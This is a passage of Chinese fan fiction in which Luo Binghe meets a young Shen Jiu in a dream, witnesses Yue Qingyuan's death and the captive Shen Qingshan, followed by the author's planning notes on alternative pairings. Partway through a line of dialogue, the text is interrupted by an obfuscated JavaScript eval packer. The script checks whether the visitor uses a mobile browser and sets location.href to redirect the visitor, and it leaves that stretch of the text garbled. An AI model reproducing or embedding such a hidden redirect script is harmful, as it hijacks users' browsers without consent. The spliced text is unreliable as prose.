而且就凭对方这个样子,他们谁胜谁负还不好说呢,如果能在梦境里将他揍上一顿泄气——哪怕出去之后他绕着清静峰跑上一百圈,被沈清秋拿鞭子揍上几百下,他也不亏! 只是让他没想到的是,少年沈九的战斗力远比他想象的更可怕。即便是他遍体鳞伤又打了一场群架,即便是洛冰河身负正统道法、修习了正经武术套路。 也抗不过沈九的插眼、锁喉、掏阴、肘击。 “!!!”洛冰河真的要震惊了! 少年沈清秋是真的下三滥!完全是在拿不怕死的狠劲以伤换伤,手是真的黑,心也真的狠。哪怕洛冰河力道远比他强大数倍,少年沈清秋愣是头铁的用指甲和牙口将他咬得个满身是血。 “……”丫的。在外面被打,梦境里被揍,没完没了是吧? 随着两人的打斗,身侧的景象急剧变化。梦魇之地的规则就是如此,当局内人越发陷入的时候,场景越会变化。而且随着他的深入程度越高,所变化的场景越能将人困入其中。 两人面前突兀的出现的一座凹陷。高高在上的右侧坐在一位黑衣人,左侧则坐着一位玄衣人。两人的架势看起来势同水火,紧张的氛围,随着空气的流动散发出火药味。 沈九第一时间站起来,将洛冰河护在身后:“别说九哥不仗义,你带我出来一回,我舍命护你一次。从此之后,我们两消。” 洛冰河原本还沉浸在‘为什么到哪都被沈清秋打’的愤懑之中,看着孤身站起,将他挡在身后的沈九,眼里有些复杂。 沈清秋,你为什么不一直坏下去呢? 就像是那些外出任务之中,就像是白日里的魔族入侵。你直接将我抛出去、为自己争取更多的逃跑时间,才是你会做的事情吧? 现在你这个样子,是良心未泯、还是惺惺作态? 沈九不知道洛冰河的纠结,当然,他就算知道也无所谓—— 无论这个莫名其妙出现的家伙是谁,他既然带他出来就是一份恩情。有恩就要报,洛冰河不愿意让他轻易还恩,他偏要立刻将恩还回去。从此之后,既然恩情已报,就别想用这个拿捏他。 “没想到岳掌门真的来了。” “洛魔尊相邀,岳某怎能不来?只是不知洛魔尊何时愿意将清秋师弟放回?他外出做客太久,该回家了。” 岳掌门、清秋师弟,洛冰河一瞬间知道了面前两人是谁。只是‘沈清秋’的记忆里怎么会有这一幕?如果这里不是沈清秋的梦境,那他究竟在哪里? 刚才还有一副要护着他的沈九骤然兴奋起来,跃跃欲试的准备向前走,嘴里喊着“七哥!” 所以说,沈清秋与岳清源,还真是打小的兄弟?往日里只看到岳清源对沈清秋热脸贴冷屁股,却没想到少年的他们居然是反过来的吗? 看沈九这副就像是见了心上人的模样,洛冰河心里生出说不清道不明的不满来。 明明真正将你救出来的人是我,你口中的七哥怕是到最后都没有来出面,要不然以‘沈九’现如今的性子,沈清秋不可能那样对岳清源。结果你不仅恩将仇报的揍了我一顿,现在还完全看不懂局势的想往里面冲? 你的聪明才智全部都喂了狗吗?怎么面对我的时候精明的要死,面对其他人(特指岳清源)傻的跟个糊涂蛋似的? 洛冰河猛的从后面冲上去,一手捂着对方的嘴,另一只手抓住对方肘击心口的胳膊:“你傻吗?这种情况下还在往里冲?是不要命了?” 现在的沈九还没有演化到抗拒任何人接触,但对于打扰他和七哥相聚的人,下意识一脚踹出去,将对方捂住自己嘴的手丢出去:“你搞什么?” “是你干什么!”洛冰河没好气地躲开沈九毫不留情的侧踹,伸手直指面前水火不容的两人:“你看不出来吗?他们两个之间恨不得互相弄死对方,你进去是为了给你亲爱的七哥送把柄吗?” 沈九抬头,玄衣的岳清源在被拒绝后,温厚的打机锋:“洛魔尊怎么说也在苍穹山待过些时日,更是与清秋师弟有些名义上的关系。我们不妨做个交易,将清秋师弟还回来,苍穹山这边许你几个承诺,如何?” “不如何。”黑衣人把玩着手中的酒杯,拒绝对方开出的空头支票:“不如岳掌门直接将沈清秋送于我,我给你几个承诺?” “……”洛冰河将愤恨的少年郎再次拉回来,制住对方拳打脚踢的动作,但并没有选择将事实真相说出来。 他也没有故意从中作梗不是吗?只是对方没有问,而他也不清楚对方不知道…… 屁嘞。 沈九怎么会知道他将来会出人头地并且与岳七拜为同门师兄弟,还改了名字为‘沈清秋’?他只知道岳七没有回来找他的原因是要跟这个黑衣人进行谈判,而且为了那个叫沈清秋的,给出一看就很贵重的东西。 所以沈九很愤怒,他不明白岳七为什么不来找他,也不明白这场争斗有什么好聊的。黑衣人要沈清秋给他就是了,岳七赶紧解决一切回来找沈九才是正事! 而那个该死的沈清秋与讨厌的黑衣人,都是阻拦岳七过来找他的绊脚石! 当然他面前还有一个很烦的人,这个叫洛冰河的玩意一直在阻拦他上去与岳七相认,甚至还动不动捂着他的嘴不让他大声呼喊。 “你究竟要干什么?阻拦我和七哥相认对你有什么好处吗?”沈九恨恨的一脚踹出去,眼里满是火星: “七哥为了那个沈清秋倒是舍得,怎的却不知来找我?我偏要走到他的面前,问问他究竟有何要事,是不是彻底忘记了跟沈九的约定!” “……”洛冰河甩一下被踹得生疼的小腿,有点无奈和好笑的看着少年沈清秋吃成年沈清秋的醋。 既然沈清秋惦记岳清源成这样,却为何搞得所有人都知道沈清秋对岳清源不屑一顾?相比较于成年沈清秋别扭的性子,还是小时候更显可爱一些。 虽然说,这动不动打人和唯我独尊的脾气,是真一点就炸的火辣辣。 “洛魔尊莫要欺人太甚。”岳清源的声音不复之前的温厚,期间满是威胁之意:“苍穹山在修真界也有些朋友,魔尊大人这是想开启仙魔大战?” “岳掌门要是没说,本尊还真忘了。不如岳掌门以身代之,这一介 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367840|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌门的分量,总是要比峰主更好用些。”魔尊优雅的替自己斟满一杯,伸手示意:“不知岳掌门意下如何?” “你想得美!”沈九再次想要冲进去。 这个黑衣人是谁呀?怎么这么不要脸?居然想让他的七哥俯首自缚,就为了换取那个沈清秋?最可恶的还是沈清秋,自己犯下的事情自己不知道承担吗?居然还连累到岳七身上!岳七怎么还是这副老好人的样子?之前为了十五得罪秋家,若不是他替对方吸引火力,岳七现在焉有命在? 这些他不在的日子里,不知道岳七又替别人顶过多少次的罪,操过多少次的心?该死的,岳七这副性子什么时候才能改啊?没有他看着迟早要吃大亏的! 洛冰河从身后一把拽住沈九的胳膊,由于力道过大还将人带到了地上。看着挣扎不止、死活要上前的沈九,洛冰河一咬牙,干脆用体重将对方牢牢压制,又将双腿叉开折叠在对方膝盖窝,控住对方乱蹬的腿。 想到此地并不是沈清秋的梦境,而他莫名其妙的将人救出来,又被沈九误解后揍了一顿,洛冰河心里满是气: “你非要冲上去干什么?人家岳清源与沈清秋之间的事情,关你何事?怎的你还想棒打鸳鸯,去做那个恶人不成?” “那是我的七哥,我的!”沈九趴在地上,腰背被洛冰河死死压住,手撑在地上,扭头冲洛冰河宣示主权:“他凭什么要为了沈清秋做这些!他这个喜欢为了别人付出的性子什么时候才能改?” 说到后面,不止是委屈还是洛冰河压制的力道过于大,沈九的眼里蒙上一层雾意:“沈清秋究竟是谁,他凭什么得岳七如此对待?岳七就是为了这样一个人,将我完全抛到脑后吗?” “以前是这样,现在还是这样。为了十五是这样,为了沈清秋还是这样!那我呢?跟他许下约定的我呢?为了他深陷秋府牢笼的沈九呢?” “亏我以为他是去拜师学艺了,亏我在秋府傻傻的等着、盼着,都是沈九的一厢情愿!原来许下的诺言可以张口就忘,原来当了真的那个人才是傻子,原来无论嘴里说的多么好听,全部是哄人的骗子!” 看着面前崩溃质问的沈九,洛冰河好像看见了对方的泪。只是明明液体已充盈了他的眼眶,却又倔强的不肯让它落下。 洛冰河喉咙发紧,心中似有一只大手将心脏狠狠抓紧。只要他张开口,只要他说一句话,只要他将一开始就该告诉对方的事实说出来…… 他应该说出来的。 只要说出来,岳清源和沈清秋之间在无隔阂;只要说出来,沈九就不会对他如此抗拒,认为他居心不良;只要说出来,面前这个脆弱的快要碎掉的少年,就会重新被注入力量,露出或许狡猾、或许高傲、或许明媚满足的,笑颜。 可洛冰河张了张口,最后只干瘪的说了声:“别哭了。” “老子才没哭!”沈九凶狠的瞪洛冰河一眼,可眼里的液体却因为这个动作险些跌落。沈九将头扭过去,将后脑勺露给洛冰河,明明是孤傲的背影,可他的肩膀却收得极紧。 洛冰河抬头,黑衣魔尊与玄衣岳清源已战至一处。他们之间怎么可能谈得拢呢?岳清源对沈清秋的在意程度,早就修真界全员皆知。 身下的少年郎在颤抖。即便是洛冰河不看、不听,也知道这个名为‘沈九’的少年沈清秋,一定哭的凄惨。 虽然说他一句话就能令少年不再哭泣,可相比较于沈九在他面前确认沈清秋=沈九的骄傲笑容——洛冰河,居然咬死也没说出那句话,就这样放任对方痛苦。 他可真坏呀。洛冰河捂上自己的眼睛,有些难以接受这样的自己。 青梅竹马,两小无猜。 明明只需要他一句话,这对有情郎就能达成这个成就,走出he的和谐结局。 但。 洛冰河不得不承认,相比较于对方在他面前笑,他宁可对方在自己怀里哭。 他就是这样坏的人。或者说,关于‘沈清秋’,洛冰河就是这样坏。 在其他的事情上,他可以让步。在其他的人上,他也可以不追究惦记。但沈清秋不行,唯独沈清秋不行。 洛冰河放开对沈九的压制,强行将人抱在怀里。或许是哭泣过于伤心神,也可能是疼痛与脆弱已经压垮了他的心理防线,洛冰河看见对方通红的眼睛,和咬穿他皮肉的尖锐牙齿。 这样一只凶猛的猎兽。即便是他将人救出来,对方也能翻脸不认人的将他揍一顿;即便是他给了破碎之人一个温暖的怀抱,这个不知感恩的家伙却又一口咬上他的肩膀。 可最后,是他赢了,不是吗? 沈九能被他抱在怀里,不再去看令他心酸崩溃的‘岳七’,就是洛冰河趁虚而入的最好时机。 抬头,黑衣人与玄衣人已经分出胜负。苍穹山的岳掌门满身是血的用剑撑着单膝跪在地上,问出最后的疑惑:“你究竟要怎样才肯放人?” “嗯。”已经慵懒坐回去的魔尊,饶有兴趣的将下巴隔在一旁撑起手腕上: “那里有本尊布置好的剑阵。听说失约之人要吞一万根银针,岳掌门想要重拾与师尊的约定,不妨试上一试?” “好。”岳掌门支起身子,毫不犹豫的跳下去:“希望魔尊说话算话,别再为难他。” “那是。”魔尊另一只手摸出把翠绿折扇,‘唰’的一下打开,悠然扇起:“那双腿,只不过是以防万一。” 洛冰河看着岳清源跳下深坑,主动站在最中央的地方,将剑插入脚下,等待着最后的命运时刻到来。 而那个黑衣魔尊说的从不是唬人,他只是挥了挥手,万箭齐发,如流星雨般美丽。 岳清源为沈清秋赴死 。 并且不是直接死,而是为了让‘魔尊放过沈清秋’,甘愿被万箭穿心。 洛冰河深吸一口气,将怀中人压入胸口,这件事绝不能让沈清秋知道,更不能泄露出去一丝一毫。他知道岳清源对沈清秋的重视,却没想到是如此的情深义重。 这样的深情之下,没有人扛得住。 洛冰河想要的不多,只要沈清秋将对岳清源的关注与感情分出一丝就够了。可若是沈清秋与岳清源之间感情如此浑厚,洛冰河宁可他们永远解不开误会! 好在沈九折腾一天也累了,现在睡在他怀里,看起来很乖巧。 眼前画面流转,黑衣人手中带着残剑,不紧不慢的走到牢房面前:“师尊,弟子来看您了。” 一个被血迹与脏污包裹、看起来只有正常人一半大小的团子窝在角落里,不知死活。 洛冰河已猜测到对方是谁,可真正看见的那一刻,依旧感觉到了心脏就像是坠入了深海、正在一步步向下沉——沈清秋,居然成了这样? 这个所谓魔尊的黑衣人,当真可恶至极! 随着残剑被丢到沈清秋面前,血团子动了。他抓起那把剑,在仔细辨认之后,发出苍凉的笑声:“岳清源!哈哈!岳清源!” “师尊看起来很开心呢。”黑衣人额头上有火焰般的印记,此时此刻就像是活过来一样,带着择人而噬的疯狂:“不知下一个,您想看见谁?” “明帆?”黑衣人伸出手指:“他被弟子丢下万毒窟喂蛇蚁虫鼠,也是硬气的一声疼也没喊,直骂弟子骂了一个时辰才消了音。” “宁嘤嘤?”黑衣人伸出两根手指: “毕竟也算对我有恩,现在在弟子的后宫里与其他人斗得你死我活,好不快乐。” “弟子还要感谢师尊将她养得如此纯良,听说这几日她被x贵妃盯得有苦无话说,师尊想不想用自己的聪明才智为她解决烦忧呢?” “季晟?”黑衣人伸出第三根手指:“柳清歌被您所杀后,也就他能撑起百战峰的场子。可惜没成长的天才还是蝼蚁,只在弟子手下撑了不到一百回合,便被弟子斩去执剑的右臂,让他逃了。” “不过一介残废,就不劳师尊记惦了。” “当然。”黑衣人将手指收回,语气是难得的轻松愉快:“最该说的正是这岳掌门,被师尊的一双腿引来赴约。可惜力所不及,竟遭万箭穿心而死,当真是可惜,可叹啊。” “师尊,您都这样了还能让苍穹山掌门陪葬,弟子可真是——佩服,佩服~” 他丫的。黑衣人的话语沈清秋究竟有没有听到洛冰河不知道,但对方嘴里的嘲讽与恶意洛冰河隔着这么远都能感受到! 这一刻他都有点为岳清源鸣不平—— 岳清源用一条命换来的承诺分毫不值!死亡有什么用呢?赔命有什么用呢?对方到底信不信守承诺谁又知道?他算是将自己一条命赔了进去,可最后沈清秋还不是被折辱成这副模样? 或者说他已经是这副模样了,还不如说让他早点死去,起码也省得在遭受这些活罪。 ‘轰!’铁质的牢房围栏与大门被破碎成渣,黑衣人抓着沈清秋的手腕,玄肃残剑跌落于地,发出清脆的声响。 “沈清秋!你敢!”黑衣人的声音充满不敢置信,还有猎物逃脱手心的张皇:“你不是最疼惜你这条性命的吗?你不是最舍不得、最贪生怕死的吗?” 洛冰河能看见对方身上的颤抖,连带着昏死过去的沈清秋衣衫乱晃:“沈清秋?沈清秋!师尊?师尊!” 黑衣人将沈清秋丢在地上,转身欲逃:“这不是真的,沈清秋怎么可能寻死!他之前那样都没死,怎么可能因为一个岳清源死掉!” 但他刚跨过自己造成的铁质碎沫上,又立刻折返回去。颤颤巍巍的将手背探到对方鼻翼,确认没有任何温暖或冰凉的空气流动。 “这不可能!”黑衣人跌坐于地:“你不是最讨厌岳清源,连对方接近都嫌烦吗……岳清源愿意以命换你,你愿意为了他放弃最要紧的性命……” “可你之前怎么不死!”黑衣人的情绪极为激动,一拳下去,粉尘洋洋洒洒的飘满了整个空间: “四派联审、声名尽毁时不死;各式责罚、断臂裂腿不死;清静峰被火烧、门下弟子个个散逃不是;现在岳清源死了,你反倒跟陪他一块死?” 随着再一次尘埃落地,黑衣人像是想到了什么,拿起地上的残剑划破手腕动脉,鲜红的液体汩汩流出,满室腥甜。 他轻柔的将沈清秋躯体抱在怀里,脸上似哭似笑,单手将沈清秋的下颚掰开,将血朝里灌去: “沈清秋,你想要和他做亡命鸳鸯,我偏不让你们共赴黄泉!我要让你们阴阳相隔,还要让你求生不得求死不能!” ??——碎碎念—— 相当的变态。 狂傲七九的双向奔赴真的好好磕! 冰九之间宿命般的执着与恶劣也超带感! 冰九:看向我,我不会让你在别人面前笑,我只会让你在我怀里哭。 七九:不求生同/床,但求共赴死。 简直be呀!!!这也太带感了吧!! 60.主七九副柳九 伪穿书自救 前言及写不下去的原因 前言:伪穿书沈九+碎嘴系统+伪装温柔冰妹 首先设想一个假设,仿宁狸猫的情景。 如果将九单拎出来,给他一段虚假的‘现代’记忆,接着告诉他故事的一些大事件(主线)的发展,告知他要改变结局。 嗯,据说这叫‘观影体’。 那么名字可以定为《(伪)穿书自救》 ———— 首先,开局时间为洛冰河刚失去养母的时刻。 —— 系统:宿主快上啊,你现在去拯救主角,他一定会将你视为人生救赎,快快快 九:他自己打不赢吗?这么废物? 系统:宿主啊,男主这时候刚失去庇护,正是你‘趁虚而入’的好时机啊,你可千万别浪费了我精心挑选的时机! 九:太废了。反正后面有戏份,既然死不了,就不需要插手。 —— 系统:宿主,这个是岳清源。你们关系可好了,能将后背互相暴露给对面,还能为对方赴死的程度! 九:哦?看起来像是个心机很深的掌权人,不过看向我的眼神怎么充满愧疚和不算明显的控制欲? 系统:因为你们自小一起长大,原主被绑走,他学成出来后没找到原主,后面相遇,总是想补偿于原主。 九:没有一起被绑走,说明脑子灵活;学成之后知道寻人,说明重义气。只是身为没被‘救出来’的‘人’,原主对他的态度必然不可能温和。 系统:emmmm,宿主说得对。不过他能为你赴死啊!掌门人为原主赴死,这谁能不夸一句‘兄弟情深’? 九:重情重义,镇守宗门,是个可交之人。掌门身份很好,可多加利用。只是这视线中的试探与掌控,着实令人生厌。 —— 系统:宿主,这个是柳清歌。你们关系,有点差,属于话不投机、见面就打的那种。 九:一看就是没脑子的武夫,最适合用来当枪使。 系统:宿主,他是这个世界的武力巅峰,你不要那么想啊! 九:既然是武力巅峰,必然不会花心思于勾心斗角,可交。 系统:宿主明白就好,其实这种痴迷于修炼的人很可爱的,千万别没事杀着玩... 九:?杀之? 系统:原主与他矛盾颇深,更是在某次同为闭关之时,双双互杀 九:一介武痴,如何与人结怨? 系统:大概是——原主打不过对方,就下黑手?一同出门,好心帮忙却被对方误会再次下黑手?柳走火入魔,原主再次好心帮忙,结果却阴差阳错将对方杀死? 九:....原主当真是个蠢货。 系统:宿主不要这么说,他只是,嗯,不愿开口解释.... 九:一手好牌打成如此,愚蠢至极。 —— 系统:宿主,这是新拜入你名下的主角,快看看他啊! 九:看来他已认出我。 系统:完了,男主对你记仇了,宿主快做些什么弥补一下啊! 九:既然已经记仇,不如即刻弄死? 系统:宿主你怕不是忘了,主角都是属小强的,你是想收获一个暗黑起点流男主吗? 九:你欲如何? 系统:怀柔啊!给他母亲般的慈爱,严师般的敲打,让他成为德智体美劳全面发展的好少年! 九:那你觉得。我是不是还该给他定几门亲事,为他铺路? 系统:可以啊,我们抱紧男主大腿,将来男主必定千百倍回报给我们! 九:你觉得他姓萧还是姓唐? 系统:emmmm 九:日后结局如何? 系统:苍穹山尽数灭杀,原主沦为阶下囚,求生不得、求死不能。 九:既是灭门之仇,那便要主角当牛做马还回来吧。 —————————————— 沈九(结合系统、宁猫猫的仿写) 沈九有一个很好磕的CP,属于强制爱那款。 但是吧,强制爱或者偏颜色的CP,基本上都以很重的、不可言说的感情为基调。 这种文章,一个不小心,就是“压制过狠,觉得被压制方过于悲惨,进而联系现实,愤而弃文或脱粉回踩”。 究其原因,是因为颜色文的特性。 嗯,最近在看一个不适合公开讨论的小说,属于跳教的那种。 但是那本小说实在引人入胜,所以难免多看了几遍,认真分析一波。 首先,那本小说一开篇,就是写攻的专业技能有多强,然后受正好听到,先是疑惑“会是他吗?”接着冷笑“可不是嘛,在自己身上一点点练出来的”。 接着突出受的地位很高,是整个场子的负责人不说,还是唯二的s级跳教师之一,专业能力杠杠的。 两人见面,受立马想跪下,但傲气和自尊不支持,心理一方面觉得自己被抛弃了不能回去当玩物,一方面却又忍不住“怀念”。 攻一方面“想念”,一方面压制看对方还受不受自己控制,一方面又找了个跟受很像的奴。 单这一个开头,就让人看着上头了!!! 接着正文里面,一方面写攻主动出击,以言语调戏,让受乖乖听话,让出“身体主权”;一方面又刻意让受于大庭广众“情。动”,替他处理善后。 受一方面觉得羞耻,一方面又以雷霆手段镇压魑魅魍魉,还满心满眼都想着“主人”。 强制爱、强制情动,位高权重者跪伏于地、心甘情愿将爱与主权奉上——这谁能不心动! 攻一方面刻意逗受,一方面却强势解决所有事情,包容上位者的自尊心,却又满足对方某些时刻难以言说的悸动——这谁能不磕!! 再加上某个奴的嫉妒:不都是跪地任人玩,有什么区别? 攻:有些人,即便跪地乞怜,也只为你一人。其他人,若是敢那么对他,就要承受强者之怒。 哇啊啊啊啊!!!这谁能不喜欢!!! 看强制爱的,不就是喜欢那种掌握感吗! 强势解决一切,替另一位明明很强、却在你面前甘愿化为绕指柔不说,还只为你情动。 —— 只是,沈九和冰哥,情况不一样。 他俩之间,存在血海深仇。 如果这样还能“在一起”…… 嗯,大概是女主放弃仇恨,和灭族仇人在一起的程度。 所以,不能是“结局”后发生的事情。 —— 宁猫猫的剧情和〈冰九〉是有些类似的。 宁明昧的系统想让他穿越到连城月小时候,以天人之姿拯救对方。接着走怀柔路线,将男主养大之后,期待对方“不要杀自己”。 宁狸猫干了什么呢? 借男主的名头让系统干活,揽财揽权,结交同级集结势力。接着忽悠男主。 先是打压,让自视过高的男主发现自己只是个“平凡人”,接着给予一丝“可为仙人门下”的机会,心甘情愿为宁猫猫驱使。 等宁猫猫解决完事,毫不留情的将男主打回,坚决不给他跳起来的机会,牢牢占据形势、心理上位。 于是男主从一开始的“老子天下第一”,成为了“他为什么不看我?一定是我不够努力” 教育的——非常成功。 ———— 好的,现在可以考虑仿写了。 首先,沈九不能和冰哥有极为深刻的矛盾。所以故事应该从一开始出发。 其次,沈九身边需要一个“系统”,催着他去找男主。 但是——沈九不干,或者说他做了,却没按系统的想法走。 ———— 沈清秋:“你说,我有个仇人,现在还小,想让我去教育软化他?” 系统:“对。” 沈清秋:“一刀杀之不就行,何必多此一举?” 系统:“第一,他死不了。第二,你要是养好了,他能为你征战天下。第三,他若是逃了,就会巅覆修真界。” 沈清秋:…… 不能杀,也杀不死。让他逃了会灭世。所以只能放眼皮子底下看着。 难搞不说,还一听就是麻烦事。 “送于道馆,如何?” “遇人不淑、驯养不良,就会灭世。” “……” 这是什么狗屁可怕玩意。 沈清秋为自己声明:“我不是好人。” 所以为啥觉得他能养好? “你既然知道这个人的存在,能忍住不去杀他?能安心任隐患于看不见的地方发酵?” “……” 扎心了,老哥。 除非他一无所知,否则明知炸弹,谁能不做点什么防备着啊! 从系统说出这个人的存在时,沈清秋就被拉上贼船了! —— “你为什么不上去?多好的刷好感度场景?” 目前是一堆孩子在群殴某个凄惨小可怜,只要沈清秋上去将人打跑,必定能收获迷弟一枚,感激*n。 “……” 沈清秋不仅不往前走,反而更悠哉的摆了个凳子坐下,如同看戏。 鼻青脸肿、一瘸一拐的少年走过来:“好看吗?” “嗯。” “交钱!” 少年理直气壮,顶着零散的头发和还流着血的脸,奶凶奶凶的威胁:“你看了那么久,要交十枚铜钱才行!” “……”系统捂脸。这是他日天日地的龙傲天能说出来的吗? “不给。” 有意思的是,以清冷貌美著称的沈清秋,还偏偏挺“配合”。 “看你长得好看,怎的却如此小气!你这衣服配饰随便一个,都顶平常人家几年饭钱了!” “那又如何?” 美人露出笑容,在少年眼中堪称惊艳绝伦。少年咽了咽口水,悄咪咪将衣服整理一下,狠狠斥责对方居然用“美人计”! 真是好一个绝情恶毒的美人,他都被打成那样了,却只顾着看戏;他都点出要配饰打赏了,对方啥也不给! “那你带我走?” 少年眼含期待。 江湖传言,总会有行侠仗义之人,于为难之时救人于水火。 所以,他等到了? 对方衣诀飘飘、飘渺如仙,莫非他有成道之姿,对方刻意寻他、收为弟子,带他入门? “想得美。” 沈清秋收拢衣物,施展清洁咒,准备离开。 “喂!”少年看着即将离开的人,不甘心的喊道:“你真不收我为徒?” 沈清秋脚都不带顿的,直接御剑离开。 少年跺跺脚,嘴里念叨着:“你等着,能御剑必然是仙门,我会找到你,让你收下我的。” ———— “弟子洛冰河。” “诺。”沈清秋对系统回道:“这不是‘找上门来’了?” ———— 野性难驯和不屈不挠,最能勾起人的蹂躏之情。 “师尊啊,您这么多年来,依旧是如此——倔啊。” 只是…… 将高岭之花拉下神坛、将清冷淡漠的月亮踩入脚下。 才符合恶俗、悲惨的、让人看着就心痒痒的,颜色小说啊。 ———— 强行通过征服躯体来支配,通过‘厌恶疼痛与害怕失去旁人’来要求对方臣服。 这种行为得到的感情,除了厌恶与反感,唯有奴隶的‘服从’。 即便是教养出不经意的妩媚,在‘主意识’察觉后,都会以绝对的理智,将其压下。 ———— 所以这两要组CP,不能走到最后的绝杀。 要不然整篇文章立意全崩。 …… 要么,后面出现新的敌人,需要双方‘携手’击敌。 要么,其中一方真真切切的‘爱’上对方,甘愿放手或沉迷。 emmmm。 这个枷锁要比补充原文,更艰难一些。 —————— 沈九:结合前大、狗定的仿写 ____ 沈九这个人设,和前大是有些相似的。 属于将身体“让给穿越者”,但又在故事里经常被提及的存在。 而且如果“沈九”出现,也会跟前大一样,“不希望现任回来”。 但是也有很大的不同。 在前大的故事里,前大虽然出场少,但总归算是个“正面人物”,而且妥妥的起点大男主。沈九的故事里,就是一个绝对的“负面人物”,不确定是基佬文还是暗黑龙傲天的反派。 前大的文章里,大部分是感慨、遗憾、拯救;沈九的文章里,大部分是愤恨、灭世、夺回(嗯,还有强制爱)。 关于他的同人文,和狗定又有些相似。都是位高权重者,被看不起的人物拉下神坛。 只是狗定是一开始的绝对强势方,后期的(形式)弱势、心理强势方。而且狗定绝对是帝王心计的代表人,小陈……嗯,武力值很强,心态,应该是玩不了宫廷政变的。 所以,沈九的整体基调,应该是高高在上者一朝跌落,愤恨恼怒。 那么可以小小的开个脑洞,仿写一段。 ———— 开局: 沈手中鞭子抽过去:“受着。” 弟子洛跪地,不敢反抗:“是。” 中段: 沈:xx死亡,xx应提起来使用,但这样的人必须要打压之后才能用,否则很容易被反噬。 沈刻意找茬,将人关入柴房,又令人不给饭吃,经常打骂。 接着将人拎出来:“xx处有xx出现。” 弟子洛:“弟子愿将功折罪。” 后段: 洛:“弟子谨记教诲,特来还之。” 沈:手中有xxx牌(反正都不能用),可激怒对方,亦或是虚假怀柔。 ———— ???哦,不行的。 洛是最高领导人、最大威胁。 小陈是将军。新帝才是最大威胁。 所以这套“激怒对方以求对方关注,防止自己莫名其妙死掉”是不合适的。 —— emmmm。 拉扯上可以仿,剧情不行。 仿拉扯。 ———— 沈:“其实xx事你做的不错,当初我也不是刻意将你踢下悬崖。你血脉暴露,修真界本就容你不得。” 洛:“当真?” 沈:“你信了?” “你居然信了?” 沈大笑: “当然。是假的。” “时至今日,你居然信这等无脑的谎言。像你这样没脑子的,学什么别人玩统治?即便是登上至尊之位,你能守得住万里河山吗?” 洛:撸起袖子就打。 沈:“打破两界枷锁,成就万世之功,最后竟落得守不住江山被外人所得,何其可笑。” 洛:“牙尖嘴利。” 沈:“恼羞成怒了?” ———— 这两个之间没有过往可写啊…… 狗定和小陈之间是爱恨交织、情与欲交错,所以能走肉战。 这两……还是直接对打更简单些。。 明明还挺好磕的,咋就没内容可写呢…… —————————————— —————————————— 番:受朋友影响开始磕黑化七九 这篇同人文大概是一周前开始写的,一开始的定位是冰九。 只是吧,跟我一起探讨剧情的朋友吃冰九,更吃七九。 于是在他的引导下,本身不怎么磕七九(或者说只磕七九亲情向)的我,突然觉得黑化七九很香。 与几乎没有过往,全靠同人填补的冰九不一样,七九几乎满是过往与遗憾(bug)。 只要“私设”一些,七九简直太好磕了。 —— 首先,说一下我之前不磕七九的原因。 岳清源是最了解、最亲近沈九的人,可是他整篇原文里面,都不曾试探、拒绝、尝试,甚至还隐隐替沈垣遮掩。 基于这一点,身为主九的人,有点接受无能。 我宁可接受一直互杀互打、不死不休的冰九,和没头脑与不高兴的柳九。 都不能忍受本该亲密无间、却闭上眼睛当成不知道情况的七九。 (那为什么现在改了爱好呢,大概是近朱者赤?) ———— 黑化版七九,是非常好磕的。 爱而不得、求而被忽视;解释者张不开口,付出信赖而失望者冷漠以对。 这对CP,满是遗憾。 前有少年郎因世俗而分开。 后有青年因彼此而送命。 还有比这更宿命感拉满的CP吗! 只是吧,按照我一贯的思维来说,一个不小心,七九就成了冰九。 再我朋友的努力‘引导’下,我终于设定(私设)好了两人的性格与发展。 没事的,洛冰河才刚刚出现过一次,就算是从冰九转成冰九与七九斗争,也无所谓(反正也不一定有人看,就算切大纲也不重要的)。 ———— 岳七: 老妈子性格。对自己的好大儿极为的关注,某种程度上甚至可以说比沈清秋自己还关心。 但是大家都知道,越是被管的少年郎,就越是容易叛逆。而那些不会教小孩,尤其是对孩童还保有愧疚的家长,发生宠溺过渡的行为就更多了。 故而,岳清源一片‘慈母’之心,愣是被逼成了控制狂。 但是呢,本文设定的沈清秋,是洗去记忆后塞入了现代记忆的。 所以沈清秋对岳清源的‘管控’极为不满,反抗的行为也非常夸张。 于是岳清源就越发不满和压抑,进而黑化变态,打算将沈清秋的腿打断,‘关’在家里。 —— 沈九: 洗去记忆后融入现代记忆,所以整个人的底色被晕染了一片大白。 性格轻快跳脱,但在某些特定时刻,又会显露出本身的沉稳与淡漠。 直男一枚,对岳清源的老妈子行为和过于被掌控的生活轨迹十分不满,故而经常与岳清源对着干。 ———— 碎碎念: 啊,论朋友的影响力…… 这篇应该是七九而非冰九了。 ———————— ———————— 番外想写但很大ooc可能的、被砍主线 假设,沈清秋、柳清歌、尚清华三人组,进入城市〈万春〉后,偶遇了浪荡子萧逸,接着替代少年散修萧九的故事。 一开始的大纲,是主角团遇见萧逸,之后了解“历史”,见证萧逸以凡人之身对抗修真者,参与布局,最后离开去秘境。 秘境出来之后,发现萧逸失败,一切如初。沈清秋少年心性,要追查萧逸的下落。 ———— 砍大纲的原因,是这样写,大概率ooc 但是吧。不写一下,又觉得心有不甘。 故而,写一篇番外出来,纯当娱乐。 ———— ooc预警: 沈九少年心性,热血上头,要举剑对想改变却又没改变的皇室,以及压迫他们的当地修真门派。 柳清歌武痴但不白痴,以成年人的权衡与大局观,阻止沈清秋以苍穹山峰主的身份去闹事,拒绝将苍穹山拉入混战。 尚清华本是平和年代下的穿越者,却习惯了修真界弱肉强食的习性,故而“苦苦拉住”沈清秋,让他不要“试图改变整个世界的格局”。 其中—— 沈清秋虽然少年心性,但以他的“沉稳”,本不该为一个偶遇的凡人那么冲动。 所以,为了使剧情合理。萧逸叠加少年沈九的部分经历,本文沈清秋叠加刚入秋府、将希望寄托岳七时代沈九的性情。 —— 柳清歌是武痴属性,执着又直率。但他是个成年人,更是一峰之主。故而他存在一定几率与沈清秋一起闹事,也存在一定机率,阻止沈清秋闹事。 